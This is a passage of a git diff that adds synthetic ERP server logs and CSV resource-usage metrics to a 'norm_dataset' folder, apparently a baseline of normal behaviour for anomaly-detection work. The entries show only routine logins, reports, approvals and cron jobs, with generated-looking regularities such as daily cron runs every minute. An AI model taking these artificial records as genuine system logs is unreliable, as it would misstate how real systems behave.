db-connector[3344]: INFO Database query executed successfully. query_time=220ms, user_id=315 +Jul 29 09:33:00 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=538 +Jul 29 09:33:05 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=205 +Jul 29 09:33:10 erp-prod-worker-3 cron[4567]: (system) CMD (run /usr/local/bin/erp_backup.sh) +Jul 29 09:33:15 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=5 +Jul 29 09:33:20 erp-prod-worker-3 systemd[1]: Starting daily session cleanup job... +Jul 29 09:33:25 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=101 initiated a month-end settlement process. transaction_id=txn_55571 +Jul 29 09:33:30 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=12 +Jul 29 09:33:35 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=315 initiated a month-end settlement process. transaction_id=txn_75614 +Jul 29 09:33:40 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Monthly_Financial_Statement' successfully generated and exported to PDF. +Jul 29 09:33:45 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=477ms, user_id=205 +Jul 29 09:33:50 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=422 initiated a month-end settlement process. transaction_id=txn_90868 +Jul 29 09:33:55 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' generation started for company_id=C5890. requested_by=user_id=205 +Jul 29 09:34:00 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' successfully generated and exported to PDF. +Jul 29 09:34:05 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' generation started for company_id=C5890. requested_by=user_id=422 +Jul 29 09:34:10 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=205 +Jul 29 09:34:15 erp-prod-worker-3 cron[4567]: (system) CMD (run /usr/local/bin/erp_backup.sh) +Jul 29 09:34:20 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=441ms, user_id=538 +Jul 29 09:34:25 erp-prod-worker-3 auth-service[987]: INFO User user_id=101 successfully logged in from ip=192.168.61.61 +Jul 29 09:34:30 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' successfully generated and exported to PDF. +Jul 29 09:34:35 erp-prod-worker-3 auth-service[987]: INFO User user_id=101 successfully logged in from ip=192.168.26.26 +Jul 29 09:34:40 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=101 initiated a month-end settlement process. transaction_id=txn_27523 +Jul 29 09:34:45 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Cash_Flow' successfully generated and exported to PDF. +Jul 29 09:34:50 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=315 +Jul 29 09:34:55 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=101 +Jul 29 09:35:00 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=205 +Jul 29 09:35:05 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=538 initiated a month-end settlement process. transaction_id=txn_47586 +Jul 29 09:35:10 erp-prod-worker-3 auth-service[987]: INFO User user_id=538 successfully logged in from ip=192.168.32.32 +Jul 29 09:35:15 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=145ms, user_id=205 +Jul 29 09:35:20 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' generation started for company_id=C5890. requested_by=user_id=101 +Jul 29 09:35:25 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=453ms, user_id=422 +Jul 29 09:35:30 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=422 initiated a month-end settlement process. transaction_id=txn_18405 +Jul 29 09:35:35 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Cash_Flow' generation started for company_id=C2034. requested_by=user_id=422 +Jul 29 09:35:40 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=538 +Jul 29 09:35:45 erp-prod-worker-3 auth-service[987]: INFO User user_id=422 successfully logged in from ip=192.168.87.87 +Jul 29 09:35:50 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' generation started for company_id=C1001. requested_by=user_id=101 +Jul 29 09:35:55 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=538 initiated a month-end settlement process. transaction_id=txn_81923 +Jul 29 09:36:00 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=477ms, user_id=538 +Jul 29 09:36:05 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=203ms, user_id=315 +Jul 29 09:36:10 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Cash_Flow' generation started for company_id=C2034. requested_by=user_id=101 +Jul 29 09:36:15 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=205 initiated a month-end settlement process. transaction_id=txn_62416 +Jul 29 09:36:20 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=422 initiated a month-end settlement process. transaction_id=txn_62892 +Jul 29 09:36:25 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' generation started for company_id=C5890. requested_by=user_id=422 +Jul 29 09:36:30 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Accounts_Payable_Aging' successfully generated and exported to PDF. +Jul 29 09:36:35 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=12 +Jul 29 09:36:40 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Revenue_Summary' successfully generated and exported to PDF. +Jul 29 09:36:45 erp-prod-worker-3 erp-backend[1122]: INFO User user_id=205 initiated a month-end settlement process. transaction_id=txn_90550 +Jul 29 09:36:50 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Monthly_Financial_Statement' successfully generated and exported to PDF. +Jul 29 09:36:55 erp-prod-worker-3 erp-backend[1122]: INFO GET /api/v1/ledgers/query status=200 OK user_id=101 +Jul 29 09:37:00 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=341ms, user_id=315 +Jul 29 09:37:05 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=321ms, user_id=205 +Jul 29 09:37:10 erp-prod-worker-3 db-connector[3344]: INFO Database query executed successfully. query_time=385ms, user_id=101 +Jul 29 09:37:15 erp-prod-worker-3 reporting-service[2345]: INFO Report 'Cash_Flow' generation started for company_id=C2034. requested_by=user_id=422 +Jul 29 09:37:20 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=5 +Jul 29 09:37:25 erp-prod-worker-3 erp-backend[1122]: INFO POST /api/v1/journal/approve status=200 OK admin_id=12 diff --git a/norm_dataset/scenario_9/norm_9_3.csv b/norm_dataset/scenario_9/norm_9_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..07e53103d20a889852eee88622827220cef3501d --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,17.35,39.33,28.69,0.97,0.63 +2025-07-15T10:00:05Z,11.23,39.66,30.27,0.86,0.59 +2025-07-15T10:00:10Z,16.46,36.92,27.68,0.93,0.51 +2025-07-15T10:00:15Z,14.65,43.79,33.84,0.77,0.69 +2025-07-15T10:00:20Z,15.32,39.51,27.33,0.63,0.77 +2025-07-15T10:00:25Z,15.92,39.89,31.1,0.87,0.8 +2025-07-15T10:00:30Z,14.4,36.67,29.2,1.26,0.86 +2025-07-15T10:00:35Z,16.14,41.53,27.36,1.19,0.53 +2025-07-15T10:00:40Z,18.63,45.14,34.36,0.92,0.6 +2025-07-15T10:00:45Z,16.19,39.21,36.47,1.09,0.66 +2025-07-15T10:00:50Z,12.16,37.82,25.77,1.02,0.78 +2025-07-15T10:00:55Z,15.44,41.66,34.27,0.99,0.7 +2025-07-15T10:01:00Z,13.24,43.44,26.89,1.16,0.37 +2025-07-15T10:01:05Z,16.5,39.21,40.2,0.91,0.85 +2025-07-15T10:01:10Z,15.22,32.8,31.16,1.47,0.64 +2025-07-15T10:01:15Z,18.25,36.37,40.3,1.23,0.96 +2025-07-15T10:01:20Z,14.91,44.32,33.6,1.4,0.98 +2025-07-15T10:01:25Z,17.44,40.58,24.83,0.94,0.77 +2025-07-15T10:01:30Z,18.82,36.56,35.53,0.92,0.72 +2025-07-15T10:01:35Z,18.71,40.02,36.98,0.9,1.15 +2025-07-15T10:01:40Z,5.84,42.19,20.57,0.6,0.67 +2025-07-15T10:01:45Z,17.63,40.55,22.91,1.08,0.71 +2025-07-15T10:01:50Z,10.92,49.62,28.55,1.18,1.08 +2025-07-15T10:01:55Z,16.08,39.7,30.11,1.14,1.22 +2025-07-15T10:02:00Z,13.72,38.96,24.84,0.91,0.84 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+2025-07-15T10:03:45Z,17.5,40.15,29.41,1.22,0.62 +2025-07-15T10:03:50Z,18.99,40.68,30.1,0.72,0.8 +2025-07-15T10:03:55Z,11.02,42.52,24.0,1.01,0.96 +2025-07-15T10:04:00Z,13.67,39.35,33.02,0.69,0.91 +2025-07-15T10:04:05Z,18.0,38.98,15.8,0.9,0.98 +2025-07-15T10:04:10Z,16.44,42.23,29.44,0.6,0.57 +2025-07-15T10:04:15Z,13.34,42.07,26.14,0.44,0.55 +2025-07-15T10:04:20Z,14.05,41.43,20.94,1.01,0.74 +2025-07-15T10:04:25Z,15.42,42.67,33.36,1.08,0.8 +2025-07-15T10:04:30Z,16.13,40.81,33.36,0.75,0.78 +2025-07-15T10:04:35Z,17.57,39.27,32.99,0.75,0.8 +2025-07-15T10:04:40Z,11.93,42.61,27.1,0.89,0.74 +2025-07-15T10:04:45Z,12.21,37.15,15.49,1.0,1.08 +2025-07-15T10:04:50Z,14.69,40.85,31.71,0.77,0.66 +2025-07-15T10:04:55Z,14.06,43.05,23.72,1.15,0.87 +2025-07-15T10:05:00Z,14.28,40.31,35.63,1.44,0.83 +2025-07-15T10:05:05Z,11.81,42.99,31.15,0.97,1.04 +2025-07-15T10:05:10Z,17.43,36.7,35.75,1.08,0.85 +2025-07-15T10:05:15Z,10.12,46.29,33.55,1.16,1.04 +2025-07-15T10:05:20Z,14.39,40.28,26.24,0.88,0.79 +2025-07-15T10:05:25Z,15.58,35.37,40.13,0.65,0.72 +2025-07-15T10:05:30Z,14.21,44.15,25.4,1.17,0.93 +2025-07-15T10:05:35Z,15.12,44.82,25.07,1.06,0.78 +2025-07-15T10:05:40Z,18.01,37.4,24.76,0.92,0.79 +2025-07-15T10:05:45Z,13.86,36.18,30.15,0.87,0.76 +2025-07-15T10:05:50Z,17.99,43.13,34.53,0.96,0.72 +2025-07-15T10:05:55Z,12.4,41.03,29.48,1.23,0.6 +2025-07-15T10:06:00Z,15.97,36.15,36.95,1.18,1.13 +2025-07-15T10:06:05Z,14.79,40.67,37.08,1.16,0.99 +2025-07-15T10:06:10Z,15.93,39.96,19.0,0.9,0.46 +2025-07-15T10:06:15Z,15.47,45.92,29.97,1.03,0.89 +2025-07-15T10:06:20Z,13.02,36.71,35.29,0.55,0.63 +2025-07-15T10:06:25Z,15.95,39.98,31.04,1.18,0.92 +2025-07-15T10:06:30Z,15.01,39.47,31.39,0.9,0.63 +2025-07-15T10:06:35Z,15.91,38.56,32.65,0.97,0.74 +2025-07-15T10:06:40Z,12.78,36.8,33.22,0.41,0.76 +2025-07-15T10:06:45Z,16.31,39.79,31.53,1.07,1.03 +2025-07-15T10:06:50Z,14.6,39.35,24.52,1.08,0.86 +2025-07-15T10:06:55Z,17.0,41.58,26.14,1.52,0.84 +2025-07-15T10:07:00Z,19.01,36.71,27.69,1.1,0.76 +2025-07-15T10:07:05Z,16.49,36.26,31.14,1.38,0.62 +2025-07-15T10:07:10Z,16.63,38.49,29.46,1.47,0.46 +2025-07-15T10:07:15Z,16.23,39.56,36.98,0.8,0.85 +2025-07-15T10:07:20Z,13.89,44.89,27.68,0.72,1.0 +2025-07-15T10:07:25Z,15.47,45.26,24.28,0.99,0.94 diff --git a/norm_dataset/scenario_9/norm_9_3.log b/norm_dataset/scenario_9/norm_9_3.log new file mode 100644 index 0000000000000000000000000000000000000000..b1dbffb3152d4ef2970de20fc066525280e57688 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_3.log @@ -0,0 +1,29 @@ +Jul 15 10:00:10 erp-app[8872]: INFO POST /api/v1/invoices/create user_id=125 status=201 Created +Jul 15 10:00:25 erp-app[8872]: INFO User 125 started generating a 'Quarterly Sales' report. +Jul 15 10:00:30 erp-app[8872]: INFO User 125 submitted an expense approval request. +Jul 15 10:00:40 erp-app[8872]: INFO GET /api/v1/users/permissions user_id=135 status=200 OK +Jul 15 10:00:55 erp-app[8872]: INFO User 135 successfully logged in from IP 192.168.5.236 +Jul 15 10:01:05 erp-app[8872]: INFO User 162 successfully logged in from IP 192.168.9.115 +Jul 15 10:01:50 erp-app[8872]: INFO User 162 submitted an expense approval request. +Jul 15 10:02:05 erp-app[8872]: INFO User 135 started generating a 'Quarterly Sales' report. +Jul 15 10:02:40 cron[4511]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:03:00 erp-app[8872]: INFO User 127 accessed the financial settlement module. +Jul 15 10:03:05 systemd[1]: INFO Daily backup process completed successfully. +Jul 15 10:03:30 cron[4511]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:00 erp-app[8872]: INFO Report rep-1744 was successfully generated for user 162. +Jul 15 10:04:10 systemd[1]: INFO Daily backup process completed successfully. +Jul 15 10:04:20 cron[4511]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:35 cron[4511]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:04:45 erp-app[8872]: INFO User 135 submitted an expense approval request. +Jul 15 10:05:05 erp-app[8872]: INFO GET /api/v1/users/permissions user_id=135 status=200 OK +Jul 15 10:05:10 erp-app[8872]: INFO POST /api/v1/invoices/create user_id=135 status=201 Created +Jul 15 10:05:20 erp-app[8872]: INFO User 162 submitted an expense approval request. +Jul 15 10:05:25 erp-app[8872]: INFO User 135 successfully logged in from IP 192.168.6.201 +Jul 15 10:05:30 erp-app[8872]: INFO User 125 accessed the financial settlement module. +Jul 15 10:05:50 erp-app[8872]: INFO GET /api/v1/dashboard/main user_id=135 status=200 OK +Jul 15 10:06:05 erp-app[8872]: INFO GET /api/v1/users/permissions user_id=127 status=200 OK +Jul 15 10:06:15 erp-app[8872]: INFO GET /api/v1/users/permissions user_id=135 status=200 OK +Jul 15 10:06:20 systemd[1]: INFO Starting daily backup process... +Jul 15 10:06:55 erp-app[8872]: INFO GET /api/v1/dashboard/main user_id=116 status=200 OK +Jul 15 10:07:05 erp-app[8872]: INFO User 162 submitted an expense approval request. +Jul 15 10:07:25 cron[4511]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/norm_dataset/scenario_9/norm_9_30.csv b/norm_dataset/scenario_9/norm_9_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..1bf047f48855fe8e3a22638529d91598ec06a641 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-30T10:00:00Z,21.53,53.41,27.91,1.53,1.56 +2025-07-30T10:00:05Z,20.76,51.05,24.47,2.09,1.55 +2025-07-30T10:00:10Z,22.97,47.45,24.18,1.86,1.81 +2025-07-30T10:00:15Z,25.68,50.05,26.86,2.05,1.27 +2025-07-30T10:00:20Z,27.15,48.83,26.26,2.21,1.75 +2025-07-30T10:00:25Z,26.47,47.09,21.49,2.01,1.46 +2025-07-30T10:00:30Z,25.27,48.11,17.66,1.93,1.66 +2025-07-30T10:00:35Z,30.11,46.12,20.75,1.72,1.32 +2025-07-30T10:00:40Z,28.31,47.3,18.27,1.75,1.25 +2025-07-30T10:00:45Z,29.58,45.66,18.18,1.75,1.43 +2025-07-30T10:00:50Z,30.36,49.09,11.86,1.79,1.06 +2025-07-30T10:00:55Z,25.22,45.26,17.32,1.52,0.89 +2025-07-30T10:01:00Z,30.62,44.32,15.45,2.17,0.89 +2025-07-30T10:01:05Z,28.76,43.48,15.94,1.93,1.38 +2025-07-30T10:01:10Z,29.41,40.63,12.96,2.16,0.84 +2025-07-30T10:01:15Z,30.47,44.85,13.98,2.01,1.29 +2025-07-30T10:01:20Z,27.53,43.18,20.54,2.14,1.06 +2025-07-30T10:01:25Z,28.05,42.07,19.55,1.97,1.04 +2025-07-30T10:01:30Z,23.94,40.7,17.23,1.96,0.89 +2025-07-30T10:01:35Z,24.83,39.95,19.79,2.11,0.61 +2025-07-30T10:01:40Z,26.4,40.66,24.84,1.25,0.67 +2025-07-30T10:01:45Z,19.14,39.7,25.78,1.55,0.95 +2025-07-30T10:01:50Z,22.57,44.18,27.51,1.19,0.61 +2025-07-30T10:01:55Z,19.73,40.92,31.54,1.51,0.77 +2025-07-30T10:02:00Z,15.07,42.79,36.83,1.3,0.45 +2025-07-30T10:02:05Z,15.3,39.89,39.18,0.95,0.57 +2025-07-30T10:02:10Z,13.37,39.31,36.61,1.02,0.85 +2025-07-30T10:02:15Z,14.78,41.97,38.71,0.54,0.82 +2025-07-30T10:02:20Z,11.13,42.89,41.92,1.32,0.91 +2025-07-30T10:02:25Z,12.59,45.0,40.02,0.82,0.77 +2025-07-30T10:02:30Z,12.15,42.58,47.31,0.81,1.26 +2025-07-30T10:02:35Z,9.94,43.78,46.62,1.08,1.29 +2025-07-30T10:02:40Z,10.08,44.66,43.94,0.92,1.03 +2025-07-30T10:02:45Z,13.5,45.1,44.51,1.25,1.11 +2025-07-30T10:02:50Z,8.94,43.82,43.69,0.66,1.47 +2025-07-30T10:02:55Z,9.29,44.54,47.68,0.86,1.78 +2025-07-30T10:03:00Z,12.12,48.24,44.15,0.51,1.41 +2025-07-30T10:03:05Z,10.1,47.71,41.46,1.01,1.34 +2025-07-30T10:03:10Z,12.38,47.42,38.1,0.93,1.62 +2025-07-30T10:03:15Z,10.39,48.83,40.94,1.61,1.53 +2025-07-30T10:03:20Z,12.03,50.28,39.9,1.43,1.48 +2025-07-30T10:03:25Z,15.06,51.32,35.25,1.21,1.1 +2025-07-30T10:03:30Z,18.06,50.27,41.57,1.06,1.37 +2025-07-30T10:03:35Z,18.74,49.18,34.13,1.44,1.36 +2025-07-30T10:03:40Z,21.27,46.72,30.71,1.33,1.76 +2025-07-30T10:03:45Z,17.33,49.33,28.27,1.14,1.8 +2025-07-30T10:03:50Z,24.8,51.55,21.47,1.62,1.39 +2025-07-30T10:03:55Z,23.51,49.75,25.22,1.64,1.76 +2025-07-30T10:04:00Z,28.22,49.66,20.26,1.88,1.37 +2025-07-30T10:04:05Z,25.97,50.3,27.23,1.89,1.51 +2025-07-30T10:04:10Z,23.58,48.49,19.33,2.0,1.13 +2025-07-30T10:04:15Z,28.04,46.33,18.39,1.74,1.52 +2025-07-30T10:04:20Z,28.81,49.35,18.19,2.0,1.35 +2025-07-30T10:04:25Z,32.45,44.73,14.91,1.94,1.48 +2025-07-30T10:04:30Z,29.77,46.33,18.45,1.78,1.31 +2025-07-30T10:04:35Z,27.36,43.99,12.14,1.95,1.35 +2025-07-30T10:04:40Z,33.21,43.95,16.08,2.0,1.08 +2025-07-30T10:04:45Z,32.01,42.48,15.08,2.27,0.91 +2025-07-30T10:04:50Z,29.51,44.63,20.16,1.97,0.83 +2025-07-30T10:04:55Z,28.05,41.47,25.01,1.86,1.15 +2025-07-30T10:05:00Z,26.11,40.8,19.15,1.81,1.02 +2025-07-30T10:05:05Z,28.31,42.18,18.26,1.52,1.14 +2025-07-30T10:05:10Z,31.77,40.7,23.49,1.81,0.54 +2025-07-30T10:05:15Z,21.6,43.68,24.48,1.51,1.07 +2025-07-30T10:05:20Z,22.52,39.53,25.6,1.63,0.94 +2025-07-30T10:05:25Z,25.08,38.98,29.41,1.65,0.53 +2025-07-30T10:05:30Z,18.03,39.08,24.54,1.42,0.9 +2025-07-30T10:05:35Z,19.6,38.65,34.21,1.37,0.88 +2025-07-30T10:05:40Z,18.24,39.6,36.02,1.22,0.58 +2025-07-30T10:05:45Z,18.76,41.08,36.98,0.92,1.15 +2025-07-30T10:05:50Z,16.19,40.45,35.03,1.17,0.46 +2025-07-30T10:05:55Z,11.87,43.89,34.64,1.37,0.88 +2025-07-30T10:06:00Z,12.73,42.01,43.37,1.66,0.9 +2025-07-30T10:06:05Z,13.34,39.14,42.96,1.24,1.21 +2025-07-30T10:06:10Z,9.76,44.67,41.12,1.41,0.91 +2025-07-30T10:06:15Z,11.98,42.43,40.86,1.04,0.97 +2025-07-30T10:06:20Z,9.37,42.48,48.73,1.19,0.88 +2025-07-30T10:06:25Z,13.0,43.27,46.62,1.38,1.1 +2025-07-30T10:06:30Z,12.61,44.11,47.59,1.42,1.46 +2025-07-30T10:06:35Z,14.49,48.2,45.26,1.11,1.52 +2025-07-30T10:06:40Z,8.46,47.11,42.72,0.88,1.38 +2025-07-30T10:06:45Z,11.16,45.77,40.81,0.96,1.26 +2025-07-30T10:06:50Z,12.72,49.08,43.21,1.27,1.02 +2025-07-30T10:06:55Z,10.75,45.79,45.28,1.22,1.41 +2025-07-30T10:07:00Z,16.43,51.66,40.76,1.05,1.32 +2025-07-30T10:07:05Z,13.99,50.74,33.65,1.05,1.12 +2025-07-30T10:07:10Z,15.83,49.73,38.23,1.09,1.93 +2025-07-30T10:07:15Z,18.91,50.49,35.53,1.4,1.74 +2025-07-30T10:07:20Z,16.59,49.6,29.72,0.93,1.2 +2025-07-30T10:07:25Z,22.41,49.57,36.95,1.58,1.62 diff --git a/norm_dataset/scenario_9/norm_9_30.log b/norm_dataset/scenario_9/norm_9_30.log new file mode 100644 index 0000000000000000000000000000000000000000..4c2f8e4f513769c65f3ff4cb4c4bcbfde8ed4c45 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_30.log @@ -0,0 +1,58 @@ +Jul 30 10:00:00 erp-app[1729]: user_11 triggered run_calculation for income_statement, status=200 OK +Jul 30 10:00:00 erp-app[1340]: User user_18 logged in successfully. +Jul 30 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 30 10:00:00 CRON[50]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 30 10:00:15 erp-app[1729]: user_3 triggered generate_report for balance_sheet, status=200 OK +Jul 30 10:00:25 erp-app[1289]: User user_11 logged in successfully. +Jul 30 10:00:30 erp-app[1729]: user_13 triggered approve_settlement for financial_summary, status=200 OK +Jul 30 10:00:45 erp-app[1428]: user_4 triggered generate_report for cash_flow, status=200 OK +Jul 30 10:00:50 erp-app[1993]: User user_15 logged in successfully. +Jul 30 10:01:00 erp-app[1340]: user_12 triggered generate_report for financial_summary, status=200 OK +Jul 30 10:01:15 erp-app[1289]: user_14 triggered export_data for income_statement, status=200 OK +Jul 30 10:01:15 erp-app[1289]: User user_5 logged in successfully. +Jul 30 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 30 10:01:30 erp-app[1289]: user_3 triggered generate_report for financial_summary, status=200 OK +Jul 30 10:01:40 erp-app[1340]: User user_1 logged in successfully. +Jul 30 10:01:45 erp-app[1289]: user_6 triggered run_calculation for income_statement, status=200 OK +Jul 30 10:02:00 erp-app[1993]: user_2 triggered export_data for cash_flow, status=200 OK +Jul 30 10:02:05 erp-app[1428]: User user_20 logged in successfully. +Jul 30 10:02:05 CRON[525]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 30 10:02:15 erp-app[1340]: user_17 triggered approve_settlement for balance_sheet, status=200 OK +Jul 30 10:02:30 erp-app[1289]: user_16 triggered view_dashboard for income_statement, status=200 OK +Jul 30 10:02:30 erp-app[1340]: User user_16 logged in successfully. +Jul 30 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 30 10:02:45 erp-app[1340]: user_13 triggered approve_settlement for financial_summary, status=200 OK +Jul 30 10:02:55 erp-app[1428]: User user_10 logged in successfully. +Jul 30 10:03:00 erp-app[1428]: user_17 triggered export_data for balance_sheet, status=200 OK +Jul 30 10:03:15 erp-app[1340]: user_5 triggered export_data for income_statement, status=200 OK +Jul 30 10:03:20 erp-app[1289]: User user_9 logged in successfully. +Jul 30 10:03:30 erp-app[1993]: user_8 triggered view_dashboard for financial_summary, status=200 OK +Jul 30 10:03:45 erp-app[1428]: user_5 triggered view_dashboard for balance_sheet, status=200 OK +Jul 30 10:03:45 erp-app[1729]: User user_12 logged in successfully. +Jul 30 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 30 10:04:00 erp-app[1289]: user_8 triggered view_dashboard for income_statement, status=200 OK +Jul 30 10:04:10 erp-app[1289]: User user_20 logged in successfully. +Jul 30 10:04:10 CRON[550]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 30 10:04:15 erp-app[1428]: user_20 triggered approve_settlement for cash_flow, status=200 OK +Jul 30 10:04:30 erp-app[1993]: user_9 triggered run_calculation for cash_flow, status=200 OK +Jul 30 10:04:35 erp-app[1289]: User user_13 logged in successfully. +Jul 30 10:04:45 erp-app[1993]: user_16 triggered view_dashboard for balance_sheet, status=200 OK +Jul 30 10:05:00 erp-app[1428]: user_9 triggered export_data for cash_flow, status=200 OK +Jul 30 10:05:00 erp-app[1729]: User user_15 logged in successfully. +Jul 30 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 30 10:05:15 erp-app[1729]: user_17 triggered view_dashboard for financial_summary, status=200 OK +Jul 30 10:05:25 erp-app[1289]: User user_19 logged in successfully. +Jul 30 10:05:30 erp-app[1729]: user_6 triggered run_calculation for financial_summary, status=200 OK +Jul 30 10:05:45 erp-app[1729]: user_10 triggered view_dashboard for balance_sheet, status=200 OK +Jul 30 10:05:50 erp-app[1428]: User user_6 logged in successfully. +Jul 30 10:06:00 erp-app[1729]: user_8 triggered generate_report for income_statement, status=200 OK +Jul 30 10:06:15 erp-app[1729]: user_14 triggered generate_report for cash_flow, status=200 OK +Jul 30 10:06:15 erp-app[1428]: User user_2 logged in successfully. +Jul 30 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 30 10:06:15 CRON[575]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 30 10:06:30 erp-app[1289]: user_3 triggered approve_settlement for financial_summary, status=200 OK +Jul 30 10:06:40 erp-app[1289]: User user_9 logged in successfully. +Jul 30 10:06:45 erp-app[1428]: user_5 triggered generate_report for financial_summary, status=200 OK +Jul 30 10:07:00 erp-app[1428]: user_20 triggered run_calculation for financial_summary, status=200 OK +Jul 30 10:07:05 erp-app[1289]: User user_6 logged in successfully. +Jul 30 10:07:15 erp-app[1289]: user_1 triggered view_dashboard for balance_sheet, status=200 OK diff --git a/norm_dataset/scenario_9/norm_9_4.csv b/norm_dataset/scenario_9/norm_9_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..8f7063f8f0b8763b8a6fa3c7c3fcf82e06a17546 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.88,44.33,28.69,0.78,1.01 +2025-07-15T10:00:05Z,11.98,44.66,30.27,0.95,1.13 +2025-07-15T10:00:10Z,16.17,41.92,27.68,0.83,0.84 +2025-07-15T10:00:15Z,14.72,48.79,33.84,0.95,0.67 +2025-07-15T10:00:20Z,15.25,44.51,27.33,0.97,0.9 +2025-07-15T10:00:25Z,15.74,44.89,31.1,0.91,0.87 +2025-07-15T10:00:30Z,14.52,41.67,29.2,1.08,0.94 +2025-07-15T10:00:35Z,15.91,46.53,27.36,1.11,0.91 +2025-07-15T10:00:40Z,17.9,50.14,34.36,1.17,0.99 +2025-07-15T10:00:45Z,15.96,44.21,36.47,0.85,0.92 +2025-07-15T10:00:50Z,12.73,42.82,25.77,0.89,0.66 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+2025-07-15T10:05:55Z,12.92,46.03,29.48,1.09,0.99 +2025-07-15T10:06:00Z,15.78,41.15,36.95,0.9,0.88 +2025-07-15T10:06:05Z,14.83,45.67,37.08,0.97,1.0 +2025-07-15T10:06:10Z,15.74,44.96,20.0,1.07,0.86 +2025-07-15T10:06:15Z,15.37,50.92,29.97,1.19,0.94 +2025-07-15T10:06:20Z,13.42,41.71,35.29,0.81,0.96 +2025-07-15T10:06:25Z,15.76,44.98,31.04,0.89,0.98 +2025-07-15T10:06:30Z,15.01,44.47,31.39,1.21,0.84 +2025-07-15T10:06:35Z,15.73,43.56,32.65,0.86,1.0 +2025-07-15T10:06:40Z,13.22,41.8,33.22,1.18,1.11 +2025-07-15T10:06:45Z,16.05,44.79,31.53,0.97,0.9 +2025-07-15T10:06:50Z,14.68,44.35,24.52,1.12,0.66 +2025-07-15T10:06:55Z,16.6,46.58,26.14,1.13,0.99 +2025-07-15T10:07:00Z,18.21,41.71,27.69,0.81,1.06 +2025-07-15T10:07:05Z,16.2,41.26,31.14,1.2,1.0 +2025-07-15T10:07:10Z,16.3,43.49,29.46,1.07,0.81 +2025-07-15T10:07:15Z,15.98,44.56,36.98,0.78,0.82 +2025-07-15T10:07:20Z,14.11,49.89,27.68,1.02,0.67 +2025-07-15T10:07:25Z,15.37,50.26,24.28,0.95,1.05 diff --git a/norm_dataset/scenario_9/norm_9_4.log b/norm_dataset/scenario_9/norm_9_4.log new file mode 100644 index 0000000000000000000000000000000000000000..ddbb53b91a2d0f7afdc1c0ec28a69b995785ddb2 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_4.log 